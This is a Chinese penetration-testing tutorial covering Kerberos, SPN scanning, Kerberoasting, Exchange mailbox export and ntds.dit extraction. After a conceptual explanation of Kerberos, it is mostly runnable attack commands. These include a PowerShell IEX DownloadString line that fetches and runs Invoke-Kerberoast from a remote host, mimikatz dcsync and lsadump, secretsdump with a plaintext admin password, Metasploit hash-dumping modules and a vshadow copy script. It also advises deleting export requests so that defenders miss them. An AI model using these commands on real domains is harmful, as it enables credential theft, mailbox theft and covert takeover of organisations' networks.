Windows 域环境是基于微软的活动目录服务工作的,它在网络系统环境中将物理位置分散、所属部门不同的用户进行分组和集中资源,有效地对资源访问控制权限进行细粒度的分配,提高了网络环境的安全性及网络资源统一分配管理的便利性。

在域环境中运行的大量应用包含了多种资源,为了对资源的合理分类和再分配提供便利,微软给域内的每种资源分配了不同的服务主题名称即 SPN (Service Principal Name)

Kerberos

Kerberos 是由 MIT 提出的一种网络身份验证协议,旨在通过密钥加密技术为客户端/服务器应用程序提供强身份验证,它也是主要用在域环境下的身份认证协议。

在 Kerberos 认证中,最主要的问题就是如何证明「你是你」的问题,比如当一个用户去访问服务器上的某服务时,服务器如何判断该用户是否有权限来访问自己主机上的服务,同时保证在这个过程中的通讯内容即使被拦截或篡改也不会影响通讯的安全性,这正是 Kerberos 解决的问题。

Kerberos 协议中的名称解释:

  • Client: 访问服务的客户端

  • Server: 提供服务的服务器

  • KDC (Key Distribution Center): 密钥分发中心

  • AS (Authentication Service): 认证服务器

  • TGS (Ticket Granting Service): 票据授予服务

  • DC (Domain Controller): 域控制器

  • AD (Account Database): 用户数据库

  • TGT (Ticket Granting Ticket): 票证授予票证

  • ST (Servre Ticket): 服务票据

根据上图,这里一步一步进行解释

第一阶段:Clinet 与 AS

① 客户端向认证服务器 AS 发起请求,请求内容为自己的用户名、主机 IP 和当前时间戳。

② AS 接收到请求,此时 AS 会根据用户名在用户数据库 AD 中寻找,判断这个用户名在不在白名单里,此时只会查找具有相同用户名的用户,并不会判断身份的可靠性;如果没有该用户名,认证失败;如果存在该用户名,则 AS 便认为用户存在,此时 AS 对客户端做出响应,响应内容包含两部分:

  • 第一部分:票据授予票据 TGT,客户端需要使用 TGT 去密钥分发中心 KDC 中的票据授予服务 TGS 获取访问网络服务所需的票据,TGT 中包含的内容有 kerberos 数据库中存在的客户端信息、IP、当前时间戳

  • 第二部分:使用客户端密钥加密的一段内容,这段内容包括:用于客户端和 TGS 之间通信的 Session_Key (CT_SK) ,客户端即将访问的 TGS 信息以及 TGT 的有效时间和一个当前时间戳,该部分内容使用客户端密钥加密,所以客户端在拿到该部分内容时可以通过自己的密钥解密。

至此,第一阶段通信完成。

第二阶段:Clinet 与 TGS

此时客户端已经获取到了 AS 返回的消息,客户端会将 AS 返回的第二部分内容进行解密,分别获得时间戳、接下来要访问的 TGS 信息以及用于和 TGS 通信的密钥 CT_SK

首先客户端会判断时间戳与自己发出的时间差是否大于 5 分钟,如果大于 5 分钟那就认为这个 AS 是伪造的,认证失败,否则就继续准备向 TGS 发起请求。

③ 客户端向 TGS 发起请求,请求的内容包含三部分:

  • 第一部分:使用 CT_SK 加密的客户端信息、IP、时间戳

  • 第二部分:自己想要访问的 Server 服务信息(明文形式)

  • 第三部分:使用 TGS 密钥加密的 TGT

④ TGS 接收到请求,首先判断当前系统是否存在客户端想要访问的 Server 服务,如果不存在,认证失败,如果存在则继续接下来的认证。

接下来 TGS 利用自己的秘钥解密 TGT 内容,此时 TGS 获取到经过 AS 认证后的用户信息、CT_SK、时间戳信息,通过时间戳判断此次请求时延是否正常,如果时延正常就继续下一步。

之后 TGS 会使用 CT_SK 解密客户端发来的第一部分内容,取出其中的用户信息和 TGT 里的用户信息进行对比,如果全部一致则认为客户端身份正常,继续下一步。

此时 TGS 将向客户端发起响应,响应信息包含两部分:
  • 第一部分:使用服务端密码加密的服务票据 ST,其中包括客户端信息、IP、客户端待访问的服务端信息、ST 有效信息、时间戳以及用于客户端和服务端之间通信的 CS_SK

  • 第二部分:使用 CT_SK 加密的内容,其中包括 CS_SK 、时间戳和 ST 的有效时间。

至此,第二阶段通信完成。

第三阶段:Clinet 与 Server

此时客户端收到来自 TGS 的响应,并使用本地缓存的 CT_SK 解密出 TGS 返回的第二部分内容,检查时间戳无误后,取出 CS_SK 准备向服务端发起请求。这里由于 TGS 返回的第一部分信息是用的服务端秘钥加密的,因此这里的客户端是无法进行解密的。

⑤ 客户端向服务端发送请求,请求内容包括两部分:

  • 第一部分:利用 CS_SK 将自己的主机信息和时间戳进行加密的信息

  • 第二部分:第 ④ 步里 TGS 向客户端返回的第一部分内容,即使用服务端密码加密的服务票据 ST

⑥ 服务端此时收到了来自客户端的请求,它会使用自己的密钥解密客户端发来的第二部分内容,核对时间戳之后,取出 CS_SK,利用 CS_SK 解密第一部分内容,从而获得经过 TGS 认证后的客户端信息。

此时服务端会将第一部分解密后的信息与第二部分解密后的信息进行对比,如果一致则说明该客户端身份为真实身份,此时服务端向客户端响应使用 CS_SK 加密的表示接受的信息,客户端接受到信息后也确认了服务端的真实性。

至此,第三阶段通信完成,到这里整个 kerberos 认证也就完成了,接下来客户端与服务端就能放心的进行通信了。

这里可以再通过时序图加深下印象。

注意点:

  • KDC 服务默认会安装在一个域的域控中

  • Kerberos 认证采用对称加密算法

  • 三个阶段里都使用了密钥,这些密钥都是临时生成的,也只在一次会话中生效,因此即使密钥被劫持,等到密钥被破解可能这次会话也都早已结束。

  • AD 其实是一个类似于本机 SAM 的一个数据库,全称叫 Account Database,存储所有 Client 白名单,只有存在于白名单的 Client 才能顺利申请到 TGT

  • KDC 服务框架中包含一个 KRBTGT 账户,它是在创建域时系统自动创建的一个账号,可以暂时理解为它就是一个无法登陆的账号,在发放票据时会使用到它的密码 HASH 值。

1、SPN

相关概念

在使用 Kerberos 协议进行身份验证的网络中,必须在内置账号(NetworkService、LocalSystem)或者用户账号下为服务器注册 SPN。

对于内置账号,SPN 将自动进行注册,如果在域用户账号下运行服务,则必须为要使用的账号手动注册 SPN。

因为域环境中的每台服务器都需要在 Kerberos 身份验证服务中注册 SPN ,所以 RT 会直接向域控制器发送查询请求,获取需要的服务的 SPN ,从而知道自己需要使用的服务资源在哪台机器上。

SPN 格式如下:

serviceclass "/" hostname [":"port] ["/" servicename]

serviceclass(必选):服务组件名称

hostname(必选):以 “/” 与后面的名称分隔,这里的 hostname 是计算机的 FQDN (全限定域名,同时带有计算机名和域名)

port(可选):以冒号分隔,后面的内容为该服务监听的端口号

servicename(可选):一个字符串,可以是服务的专有名称(DN)、objectGuid、Internet主机名或全限定域名

常见 SPN 服务

MSSQL 服务

MSSQLSvc/DBServer.teamssix.com:1433

Exchange 服务

exchangeMDB/ExServer.teamssix.com

RDP 服务

TERMSRV/ExServer.teamssix.com

WSMan/WinRM/PSRemoting 服务

WSMAN/ExServer.teamssix.com

SPN 扫描脚本

SPN 扫描也叫「扫描 Kerberos 服务实例名称」,在活动目录中发现服务的最佳方法就是 SPN 扫描。

SPN 扫描通过请求特定 SPN 类型的服务主体名称来查找服务,与网络端口相比,SPN 扫描的主要特点是不需要通过连接网络中的每个 IP 地址来检查服务端口,因此不会因触发内网中的安全设备规则而产生大量的告警日志。

由于 SPN 查询是 Kerberos 票据行为的一部分,所以检测难度较大。

setspn

setspn 是 Windows 自带命令,以下命令可列出域中所有的 SPN 信息

setspn -T teamssix -Q */*

Active Directory 模块

PowerShell 模块 Active Directory 只在域控上有

Import-Module ActiveDirectory
get-aduser -filter {AdminCount -eq 1 -and (servicePrincipalName -ne 0)} -prop * |select name,whencreated,pwdlastset,lastlogon

或者使用大佬导出的模块,这样普通用户也可以使用该模块,下载地址:https://github.com/3gstudent/test/blob/master/Microsoft.ActiveDirectory.Management.dll

Import-Module .\Microsoft.ActiveDirectory.Management.dll
get-aduser -filter {AdminCount -eq 1 -and (servicePrincipalName -ne 0)} -prop * |select name,whencreated,pwdlastset,lastlogon

PowerView

PowerView 下载地址:https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1

Import-Module .\PowerView.ps1
Get-NetUser -spn -AdminCount|Select name,whencreated,pwdlastset,last

Powershell-AD-Recon

Powershell-AD-Recon 提供了一系列获取服务与服务登录账号和运行服务的主机之间的对应关系的工具,这些服务包括但不限于 MSSQL、Exchange、RDP、WinRM

Powershell-AD-Recon 下载地址:https://github.com/PyroTek3/PowerShell-AD-Recon

Powershell-AD-Recon 工具包里的内容如下:

Discover-PSInterestingServices  # 查找所有 SPN 服务
Discover-PSMSExchangeServers        # 查找 Exchange 服务器
Discover-PSMSSQLServers         # 查找 MSSQL 服务器
Find-PSServiceAccounts          # 查找服务账户
Get-DomainKerberosPolicy        # 获取域 Kerberos 策略
Get-PSADForestInfo              # 获取域森林信息
Get-PSADForestqInfo             # 获取域森林 KRBTGT 信息

下载后的文件是没有 .ps1 后缀的,需要自己添加上

由于 SPN 是通过 LDAP 协议向域控制器进行查询的,因此 RT 需要获得一个普通的域用户权限才可以进行 SPN 扫描。

将 PowerShell 脚本导入并执行,以 MSSQL 服务为例

Import-Module .\Discover-PSMSSQLServers.ps1
Discover-PSMSSQLServers
或者
PowerShell -Exec bypass -C "Import-Module .\Discover-PSMSSQLServers.ps1;Discover-PSMSSQLServers"

扫描域中所有的 SPN 信息

Import-Module .\Discover-PSInterestingServices.ps1
Discover-PSInterestingServices
或者
PowerShell -Exec bypass -C "Import-Module .\Discover-PSInterestingServices.ps1;Discover-PSInterestingServices"

kerberoast

kerberoast 工具包里的 GetUserSPNs.ps1,可以帮助我们发现仅与用户帐户相关联的服务。

kerberoast 下载地址:https://github.com/nidem/kerberoast

./GetUserSPNs.ps1
或者
PowerShell -Exec bypass -File GetUserSPNs.ps1

kerberoast 工具包里的 GetUserSPNs.vbs 也能实现相同的功能

cscript.exe GetUserSPNs.vbs

PowerShellery

PowerShellery 工具包里包含了 Get-SPN,可以为各种服务收集 SPN

PowerShellery 下载地址:https://github.com/nullbind/Powershellery

Import-Module .\Get-SPN.psm1
Get-SPN -type service -search *
或者
PowerShell -Exec bypass -C "Import-Module .\Get-SPN.psm1;Get-SPN -type service -search *"

结果也可以转换为表格的形式,以便于浏览

Import-Module .\Get-SPN.psm1
Get-SPN -type service -search * -List yes
或者
PowerShell -Exec bypass -C "Import-Module .\Get-SPN.psm1;Get-SPN -type service -search * -List yes"

另外一个 Get-DomainSpn.psm1 脚本可以用来获取 UserSID、服务和实际用户

Import-Module .\Get-DomainSpn.psm1
Get-DomainSpn
或者
PowerShell -Exec bypass -C "Import-Module .\Get-DomainSpn.psm1;Get-DomainSpn"

Impacket

Impacket 下载地址:https://github.com/SecureAuthCorp/impacket

上面的工具都是在域内的机器里扫描 SPN 的,利用 impacket 工具包下的 GetUserSPNs.py 可以在非域主机中扫描目标的 SPN

python3 GetUserSPNs.py -dc-ip 192.168.7.7 teamssix.com/test

2、kerberoast

kerberoast 是一种针对 Kerberos 协议的利用方式,在因为需要使用某个特定资源而向 TGS 发送 Kerberos 服务票据的请求时,用户首先需要使用具有有效身份权限的 TGT 向 TGS 请求相应服务的票据。

当 TGT 被验证有效且具有该服务的权限时,TGS 会向用户发送一张票据。该票据使用与 SPN 相关联的计算机服务账号的 NTLM Hash(RC4_HMAC_MD5),就是说,RT 会通过 Kerberoast 尝试使用不同的 NTLM Hash 来打开该 Kerberos 票据,如果 RT 使用的 NTLM Hash 是正确的,Kerberos 票据就会被打开,而该 NTLM Hash 对应于该计算机服务账号的密码。

kerberoast 的利用思路:

1、查询 SPN 寻找在 Users 下并且是高权限域用户的服务

2、请求并导出 TGS

3、对 TGS 进行爆破

这里以 MSSQL 服务为例,并尝试破解该服务的票据

手动注册 SPN

setspn -A MSSQLSvc/DBSRV.teamssix.com:1433 test

查看用户所对应的 SPN

setspn -L teamssix.com\test

也可以使用 adsiedit.msc 查看用户 SPN 及其他高级属性

为用户配置指定服务的登录权限,gpedit.msc 打开本地组策略编辑器,找到以下路径,将用户添加进去,例如这里添加的用户为 test

\计算机配置\Windows 设置\安全设置\本地策略\用户权限分配\作为服务登录

因为 Kerberos 协议的默认加密方式是 AES256_HMAC,而通过 tgsreperack.py 脚本无法破解该加密方式,因此我们可以通过组策略将加密方式设置为 RC_HMAC_MD5

在本地组策略编辑器中,找到以下路径,将加密方式设置为 RC_HMAC_MD5

\计算机配置\Windows 设置\安全设置\本地策略\安全选项\网络安全:配置 Kerberos 允许的加密类型

请求指定 SPN 的服务票据

$SPNName = 'MSSQLSvc/DBSRV.teamssix.com'
Add-Type -AssemblyNAme System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $SPNName

或者请求所有服务的服务票据

Add-Type -AssemblyName System.IdentityModel  
setspn -q */* | Select-String '^CN' -Context 0,1 | % { New-Object System. IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }  

可以使用 klist 查看本地缓存的票证,看看有没有新的票据

之后在 mimikatz 中执行如下命令,将内存中的票据导出

kerberos::list /export

也可以不使用 mimikatz,使用 powershell 脚本导出支持 hashcat 破解的格式

powershell.exe -exec bypass -c "IEX (New-Object System.Net.Webclient).DownloadString('https://ghproxy.com/https://raw.githubusercontent.com/EmpireProject/Empire/6ee7e036607a62b0192daed46d3711afc65c3921/data/module_source/credentials/Invoke-Kerberoast.ps1');Invoke-Kerberoast -AdminCount -OutputFormat Hashcat | fl"

或者使用 Rubeus 获取票据

Rubeus.exe kerberoast

也可以使用 impacket 获取票据

python3 GetUserSPNs.py -request -dc-ip 192.168.7.7 -debug teamssix.com/test

将 MSSQL 服务所对应的票据复制到有 kerberoast 的机器上,之后用 kerberoast 中的 tgsreperack.py 脚本破解票据的 NTLM Hash

Kerberoast 脚本下载地址:https://github.com/nidem/kerberoast

python tgsreperack.py password.txt mssql.kirbi

或者使用 hashcat 破解 powershell 脚本、Rubeus、impacket 获取到的服务票据

hashcat -m 13100 /tmp/hash.txt /tmp/password.list -o found.txt --force

25、Exchange 邮件服务器

1、Exchange 的基本操作

在 Exchange 服务器上的 PowerShell 里进行以下操作

将 Exchange 管理单元添加到当前会话中

add-pssnapin microsoft.exchange*

查看邮件数据库

Get-MailboxDatabase -server "dc"

查询数据库的物理路径

Get-MailboxDatabase -Identity 'Mailbox Database 0761701514' | Format-List Name,EdbFilePath,LogFolderPath

获取现有用户的邮件地址

Get-Mailbox | Format-table Name,WindowsEmailAddress

查看指定用户的邮箱使用信息

Get-Mailboxstatistics -Identity Administrator | Select Dispayname,ItemCount,TotalItemSize,TotalTimeSize,LastLogonTime

获取用户邮箱中的邮件数量,通过该命令还可以列出那些用户未登录过邮箱

Get-Mailbox -ResultSize Unlimited | Get-Mailboxstatistics | Sort-Object TotalItemSize -Descend

2、导出指定的电子邮箱

Exchange Server 2007 中需要使用 ExportMailBox 命令,在 Exchange Server 2010 SP1 及以后的版本中可以使用图形化界面导出,也可以使用 PowerShell

如果想要导出 PTS 格式的邮件文件,则需要为用户配置导出/导出权限。

配置用户的导入导出权限

查看用户权限

Get-ManagementRoleAssignment -role "Mailbox Import Export"

将 Administrator 用户添加到 Mailbox Import Export 角色组里,将用户添加到角色组后,需要重启 Exchange 服务才能执行导出操作

New-ManagementRoleAssignment -Name "Import Export_Domain Admins" -User "Administrator" -Role "Mailbox Import Export"

删除刚刚添加的 Mailbox Import Export 角色组中的用户

Remove-ManagementRoleAssignment "Import Export_Domain Admins" -Confirm:$false

设置网络共享文件夹

不论使用哪种方式导出邮件,都需要将文件放置在 UNC(Universal Naming Convention,通用命名规则,也称通用命名规范)路径下

类似于 “\hostname\sharename”、“\ipaddress\sharename” 的网络路径下,sharename 为网络共享名称。

首先开启共享,将 C 盘 inetpub 文件夹设置为 everyone 可读写,执行如下命令:

net share inetpub=c:\inetpub /grant:everyone,full

导出用户的电子邮件

使用 PowerShell 导出电子邮件,用户的电子邮箱目录一般为Inbox(收件箱)、SentItems(已发送邮件)、DeleteItems(已删除邮件)、Drafts(草稿)等

New-MailboxExportRequest -Mailbox administrator -FilePath \\192.168.7.77\inetpub\administrator.pst

使用图形化界面导出电子邮件,访问 https://127.0.0.1/ecp,打开 Exchange 管理中心的登录界面。

输入账号密码进入 Exchange 管理中心,点击「...」更多按钮,选择「导出到 PST 文件」即可进行导出操作。

管理导出请求

不论是通过 Powershell 导出还是通过图形化的方式导出,都会在 Exchange 中生成一条告警信息,这些信息有助于 BT 发现服务器里的异常行为,通过以下命令,可以查看之前的导出请求记录信息。

Get-MailboxExportRequest

将指定用户已经完成的导出请求删除

Remove-MailboxExportRequest -Identity Administrator\MailboxExport

删除所有已完成的导出请求

Get-MailboxExportRequest -Status Completed | Remove-MailboxExportRequest

删除所有导出请求,包括完成和失败的请求

Get-MailboxExportRequest | Remove-MailboxExportRequest

26、ntds.dit 的提取与散列值导出

0、前言

在活动目录中,所有数据都保存在 ntds.dit 文件中,ntds.dit 是一个二进制文件,存储位置为域控的 %SystemRoot%\ntds.dit

ntds.dit 中包含(但不限于)用户名、散列值、组、GPP、OU 等与活动目录相关的信息,因此如果我们拿到 ntds.dit 就能获取到域内所有用户的 hash

在通常情况下,即使拥有管理员权限,也无法读取域控中的 ntds.dit 文件(因为活动目录始终访问这个文件,所以文件被禁止读取),它和 SAM 文件一样,是被 Windows 操作系统锁定的。

不过使用 Windows 本地卷影拷贝服务,就可以获得文件的副本(类似于虚拟机的快照)

1、使用卷影拷贝服务提取 ntds.dit

ntdsutil

ntdsutil 是一个为活动目录提供管理机制的命令行工具,使用 ntdsutil 可以维护和管理活动目录数据库、控制单个主机操作、创建应用程序目录分区、删除由未使用活动目录安装向导(DCPromo.exe)成功降级的与控制器留下的元数据等。

该工具默认安装在域控上,使用以下命令创建一个快照,该快照包含 Windows 中的所有文件,且在复制文件时不会受到 Windows 锁定机制的限制。

ntdsutil snapshot "activate instance ntds" create quit quit

加载刚刚创建的快照

ntdsutil snapshot "mount {ce2f5901-022f-4c21-b266-b4c14db67749}" quit quit

使用 copy 命令将快照中的文件复制到 C 盘下

copy C:\$SNAP_202109081356_VOLUMEC$\windows\NTDS\ntds.dit C:\ntds.dit

删除之前加载的快照

ntdsutil snapshot "unmount {ce2f5901-022f-4c21-b266-b4c14db67749}" "delete {ce2f5901-022f-4c21-b266-b4c14db67749}" quit quit

查询当前系统中的快照,可以看到没有任何快照

ntdsutil snapshot "List All" quit quit

vssadmin

vssadmin 可用于创建和删除卷影拷贝、列出卷影的信息(只能管理系统 Provider 创建的卷影拷贝)、显示已安装的所有卷影拷贝写入程序(writers)和提供程序(providers),以及改变卷影拷贝的存储空间(即所谓的 “diff 空间”)的大小等。

vssadmin 的使用流程和 ntdsutil 差不多,首先创建一个 C 盘的卷影拷贝

vssadmin create shadow /for=C:

在创建的卷影拷贝中将 ntds.dit 复制出来

copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy12\windows\NTDS\ntds.dit C:\ntds.dit

删除快照

vssadmin delete shadows /for=C: /quiet

vssown.vbs

vssown.vbs 脚本的功能和 vssadmin 类似,可用于创建和删除卷影拷贝以及启动和停止卷影拷贝服务。

vssown.vbs 下载地址:https://raw.githubusercontent.com/borigue/ptscripts/master/windows/vssown.vbs

启动卷影拷贝服务

cscript vssown.vbs /start

创建一个 C 盘的卷影拷贝

cscript vssown.vbs /create c

列出当前卷影拷贝

cscript vssown.vbs /list

复制 ntds.dit

copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy14\windows\NTDS\ntds.dit C:\ntds.dit

删除卷影拷贝

cscript vssown.vbs /delete {22B93FE6-D53A-4ECA-BD5A-7A2A68203EF8}

IFM

除了上面介绍的通过执行命令来提取 ntds.dit,也可以通过创建一个 IFM 的方式获取 ntds.dit

在使用 ntdsutil 创建媒体安装集(IFM)时,需要进行生成快照、加载、将 ntds.dit 和计算机的 SAM 文件复制到目标文件夹中等操作,这些操作也可以通过 PowerShell 或 VMI 远程执行。

在域控中以管理员模式打开命令行环境,输入命令

ntdsutil "ac i ntds" "ifm" "create full c:/test" q q

此时 ntds.dit 将被保存在 C:\test\Active Directory 下,SYSTEN 和 SECURITY 两个文件将被保存在 C:\test\registry 文件夹下

将 ntds.dit 拖回本地后,在目标机器上将 test 文件夹删除

rmdir /s/q C:\test

Copy-VSS.ps1

nishang 工具包里的 Copy-VSS.ps1 也可以将 ntds.dit 提取出来,nishang 工具包地址:https://github.com/samratashok/nishang

Import-Module .\Copy-VSS.ps1
Copy-vss
或者
PowerShell -Exec bypass -C "Import-module .\Copy-VSS.ps1;Copy-vss"

通过该脚本,可以将 SAM、SYSTEM,ntds.dit 复制到与 ps1 脚本相同的目录下。

diskshadow

diskshadow 和 vshadow 功能类似,不过 vshadow 是包含在 Windows SDK 里的,因此实际应用的时候还需要将其上传到目标机器上。

diskshadow 有交互模式和非交互模式,在使用交互模式时,需要在图形化界面里操作

首先创建一个 txt 文件,内容如下:

set context persistent nowriters
add volume c: alias someAlias
create
expose %someAlias% k:
exec "C:\windows\system32\cmd.exe" /c copy k:\Windows\NTDS\ntds.dit C:\ntds.dit
delete shadows all
list shadows all
reset
exit

使用 diskshadow 调用刚才的文本文件

diskshadow /s C:\command.txt

因为 system.hive 里存放着 ntds.dit 的秘钥,所以需要转储 system.hive ,不然没法查看 ntds.dit 里内容

reg save hklm\system c:\windows\temp\system.hive

Invoke-NinjaCopy.ps1

PowerSploit 工具包里的 Invoke-NinjaCopy.ps1 脚本也可以提取 ntds.dit 文件,这种方法没有调用 Volume Shadow Copy 服务,所以不会产生日志文件

PowerSploit 工具包项目地址:https://github.com/PowerShellMafia/PowerSploit

Import-Module .\Invoke-NinjaCopy.ps1
Invoke-NinjaCopy -Path "C:\windows\ntds\ntds.dit" -LocalDestination "C:\ntds.dit"

impacket

impacket 安装

git clone https://github.com/SecureAuthCorp/impacket.git
cd impacket
python3 setup.py install

通过 impacket 里的 secretsdump.py 脚本可以直接远程读取 ntds.dit 并导出哈希值

cd ./build/scripts-3.9
python3 secretsdump.py teamssix.com/administrator:1qaz@WSX@192.168.7.7 -outputfile output_ntds

2、导出 ntds.dit 文件中的散列值

esedbexport

安装 esedbexport,以 Kali 为例

apt-get install autoconf automake autopoint libtool pkg-config
wget https://github.com/libyal/libesedb/releases/download/20210424/libesedb-experimental-20210424.tar.gz
tar zxvf libesedb-experimental-20210424.tar.gz
cd libesedb-20210424
./configure
make
make install
ldconfig

导出 ntds.dit

esedbexport -m tables ntds.dit

安装 ntdsxtract

git clone https://github.com/csababarta/ntdsxtract.git
cd ntdsxtract
python setup.py build
python setup.py install

将 ntds.dit.export 和 SYSTEM 文件放入到 ntdsxtract 工具的文件夹中,然后导出哈希值,最后的结果将保存在 all_user.txt 里

python2 dsusers.py ntds.dit.export/datatable.3 ntds.dit.export/link_table.5 output --syshive SYSTEM --passwordhasher --pwdformat ocl --ntoufile atout --lmoufile lmout | tee all_user.txt

如果提示 ImportError: No module named Crypto.Hash,直接 pip install pycryptodome 即可

ntds.dit 包含域内的所有信息,可以通过分析 ntds.dit 导出域内的计算机信息以及其他信息,最后结果将保存在 all_computers.csv 文件内

python2 dscomputers.py ntds.dit.export/datatable.3 computer_output --csvoutfile all_computers.csv

impacket

将 ntds.dit.export 和 SYSTEM 文件放入到 impacket 工具的文件夹中

impacket-secretsdump -system SYSTEM -ntds ntds.dit LOCAL

或者直接使用 python 执行 secretsdump.py 文件

cd ./build/scripts-3.9
python3 secretsdump.py -system SYSTEM -ntds ntds.dit LOCAL

NTDSDump.exe

NTDSDumpEx.exe 可以进行导出哈希值的操作,下载地址:https://github.com/zcgonvh/NTDSDumpEx/releases

NTDSDumpEx -d ntds.dit -s system -o domain.txt

mimikatz

mimikatz 有个 dcsync 的功能,可以利用卷影拷贝服务直接读取 ntds.dit 文件,不过需要管理员权限。

导出域内所有用户的用户名和哈希值

lsadump::dcsync /domain:teamssix.com /all /csv

导出域内指定用户的用户名和哈希值

lsadump::dcsync /domain:teamssix.com /user:administrator

也可以通过转储 lsass.exe 进行 dump 操作

privilege::debug
lsadump::lsa /inject

如果输出内容太多,可以使用 log 命令,这样操作就都会被记录到文本里了

Invoke-DCSync.ps1

该脚本通过 Invoke-ReflectivePEinjection 调用 mimikatz.dll 中的 dcsync 功能,并利用 dcsync 直接读取 ntds.dit 得到域用户密码散列值

Invoke-DCSync.ps1 下载地址:https://gist.github.com/monoxgas/9d238accd969550136db

Import-Module ./Invoke-DCSync.ps1
Invoke-DCSync -PWDumpFormat

MSF

msf 里的 psexec_ntdsgrab 可以获取目标的 ntds.dit 和 SYSTEM 并将其保存到 /root/.msf4/loot/ 目录下

use auxiliary/admin/smb/psexec_ntdsgrab
set rhosts 192.168.7.7
set smbdomain teamssix.com
set smbuser administrator
set smbpass 1qaz@WSX
run

除此之外,在获取到会话后,也可以直接用 MSF 提供的模块获取 ntds.dit

use windows/gather/credentials/domain_hashdump
set session 1
run

注意生成的 payload 需要和目标系统位数一致,不然会报错

DSInternals

DSInternals 主要功能包括离线 ntds.dit 文件操作以及通过目录复制服务(DRS)远程协议查询域控制器。

DSInternals 下载地址:https://github.com/MichaelGrafnetter/DSInternals/releases

安装 DSInternals

Install-Module DSInternals -Force

直接导出 hash,并保存在 output_hash.txt 文件里

$key = Get-Bootkey -SystemHivePath 'C:\system'
Get-ADDBAccount -All -DBPath 'C:\ntds.dit' -Bootkey $key | Out-File output_hash.txt

或者导出 hashcat 支持的 hash,并保存在 output_hashcat.txt 文件里

$key = Get-Bootkey -SystemHivePath 'C:\system.hive'
Get-ADDBAccount -All -DBPath 'C:\ntds.dit' -BootKey $key | Format-Custom -View HashcatNT | Out-File output_hashcat.txt

vshaow 和 QuarksPwDump

在正常的域环境中,ntds.dit 文件里包含大量的信息,体积较大,不方便保存到本地。

如果域控制器上没有安装杀毒软件,攻击者就能直接进入域控制器,导出 ntds.dit 并获得域账号和域散列值,而不需要将 ntds.dit 保存到本地。

QuarksPwDump 可以快速、安全、全面地读取全部域账号和域散列值。

QuarksPwDump 下载地址:https://github.com/tuthimi/quarkspwdump/tree/master/Release

ShadowCopy.bat 使用微软的卷影拷贝技术,能够复制被锁定的文件及被其他程序打开的文件,代码如下

setlocal
if NOT "%CALLBACK_SCRIPT%"=="" goto :IS_CALLBACK
set SOURCE_DRIVE_LETTER=%SystemDrive%
set SOURCE_RELATIVE_PATH=windows\ntds\ntds.dit
set DESTINATION_PATH=%~dp0
@echo ...Determine the scripts to be executed/generated...
set CALLBACK_SCRIPT=%~dpnx0
set TEMP_GENERATED_SCRIPT=GeneratedVarsTempScript.cmd
@echo ...Creating the shadow copy...
"%~dp0vshadow.exe" -script=%TEMP_GENERATED_SCRIPT% -exec="%CALLBACK_SCRIPT%" %SOURCE_DRIVE_LETTER%
del /f %TEMP_GENERATED_SCRIPT%
@goto :EOF
:IS_CALLBACK
setlocal
@echo ...Obtaining the shadow copy device name...
call %TEMP_GENERATED_SCRIPT%
@echo ...Copying from the shadow copy to the destination path...
copy "%SHADOW_DEVICE_1%\%SOURCE_RELATIVE_PATH%" %DESTINATION_PATH%
reg save hklm\system system.hive

vshadow.exe 是从 Windows SDK 中提取出来的,需要先安装 Windows SDK,下载地址:https://developer.microsoft.com/en-us/windows/downloads/sdk-archive/

Windows SDK 下载安装完后,找到 vshadow.exe ,我这里的路径是:

C:\Program Files\Microsoft SDKs\Windows\v7.1\Bin\x64\vsstools\vshadow.exe

将这三个文件放到同一个文件夹里后,运行 ShadowCopy.bat 文件,之后可以看到导出了 ntds.dit 和 system.hive 文件

使用 esentutl 修复导出的 ntds.dit 文件

esentutl /p /o ntds.dit

最后通过 QuarksPwDump.exe 导出域账号和散列值

QuarksPwDump.exe -dhd -sf system.hive -nt ntds.dit -o log.txt

在 log 里就能看到导出的密码哈希了

Last updated

Was this helpful?